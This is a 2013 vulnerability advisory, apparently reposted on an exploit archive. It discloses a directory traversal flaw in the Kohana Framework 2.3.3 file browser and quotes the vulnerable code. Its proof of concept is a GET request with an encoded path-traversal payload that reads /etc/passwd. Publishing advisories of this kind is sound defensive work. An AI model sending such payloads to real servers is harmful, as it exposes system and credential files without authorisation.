exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Kohana Framework 2.3.3 Directory Traversal

Kohana Framework 2.3.3 Directory Traversal
Posted Jan 28, 2013
Authored by Karim H.B., Vulnerability Laboratory | Site vulnerability-lab.com

Kohana Framework version 2.3.3 suffers from a directory traversal vulnerability.

tags | exploit
SHA-256 | ea06955b013046f6fb45f73dc70e9f96d73e7d9d2dc5ae38af913fe70c4fa2f7

Kohana Framework 2.3.3 Directory Traversal

Change Mirror Download
Title:
======
Kohana Framework v2.3.3 - Directory Traversal Vulnerability


Date:
=====
2013-01-27


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=841


VL-ID:
=====
837


Common Vulnerability Scoring System:
====================================
7.1


Introduction:
=============
Kohana is an open source, object oriented MVC web framework built using PHP5 by a team of volunteers that aims to be
swift, secure, and small. (copy from vendor website) This is an OOP framework that is extremely DRY. Everything is built
using strict PHP 5 classes and objects. Many common components are included: translation tools, database access, code
profiling, encryption, validation, and more.

Extending existing components and adding new libraries is very easy. Uses the BSD license, so you can use and modify it for
commercial purposes. Benchmarking a framework is hard and rarely reflects the real world, but Kohana is very efficient and
carefully optimized for real world usage. Very well commented code and a simple routing structure makes it easy to understand
what is happening. Simple and effective tools help identify and solve performance issues quickly.

(Copy of the Vendor Homepage: http://kohanaframework.org/ )



Abstract:
=========
The Vulnerability Laboratory Research Team discovered a Directory Traversal web vulnerability in the Kohana v2.3.3 Content Management System.


Report-Timeline:
================
2013-01-27: Public Disclosure


Status:
========
Published


Affected Products:
==================
Kohana
Product: Framework - Content Management System 2.3.3


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A Directory Traversal web vulnerability is detected in the Kohana Content Management System web application.
The vulnerability allows remote attackers to request local directories and files of the web server application system.

The vulnerability is located in the `master/classes/Kohana/Filebrowser.php` file in line 90 when processing to request
the path dir via replace. The filter replaces `../` by null and it applies on file reading requests.

Review: Kohana/Filebrowser.php

$thumb = Route::get('wysiwyg/filebrowser')
->uri(array(
'action' => 'thumb',
'path' => str_replace(array($dir, DIRECTORY_SEPARATOR), array('', '/'), $filename)
));

Remote attackers can bypass the validation with the vulnerable replace function in the file browser to read local
web server files via directory (path) traversal attack.

Exploitaton of the vulnerability requires no privileged application user account and no user interaction.
Successful exploitation of the vulnerability results in read of arbitrary system files to compromise web server.

Vulnerable Module(s):
[+] Filebrowser

Vulnerable Function(s):
[+] str_replace > dir

Vulnerable Parameter(s):
[+] ?path


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers without privileged application user account and without required user interaction.
For demonstration or reproduce ...

Review: Kohana/Filebrowser.php

$thumb = Route::get('wysiwyg/filebrowser')
->uri(array(
'action' => 'thumb',
'path' => str_replace(array($dir, DIRECTORY_SEPARATOR), array('', '/'), $filename)
));


Review: GET Request
GET http://media.[server].com/directory/graphics/?path=..%2F..%2F..%2F%2F..%2F..
%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F%2Fetc%2Fpasswd
HTTP/1.0
Host: media.[server].com
User-Agent: Kami VL


PoC:
http://media.[server].com/directory/graphics/?path=..%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F..%2F..%2F%2F%2Fetc%2Fpasswd


Risk:
=====
The security risk of the directory traversal web vulnerability is estimated as high(+).



Credits:
========
Vulnerability Laboratory [Research Team] - Karim B. (kami@vulnerability-lab.com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

Copyright © 2012 | Vulnerability Laboratory




--
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT: research@vulnerability-lab.com

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close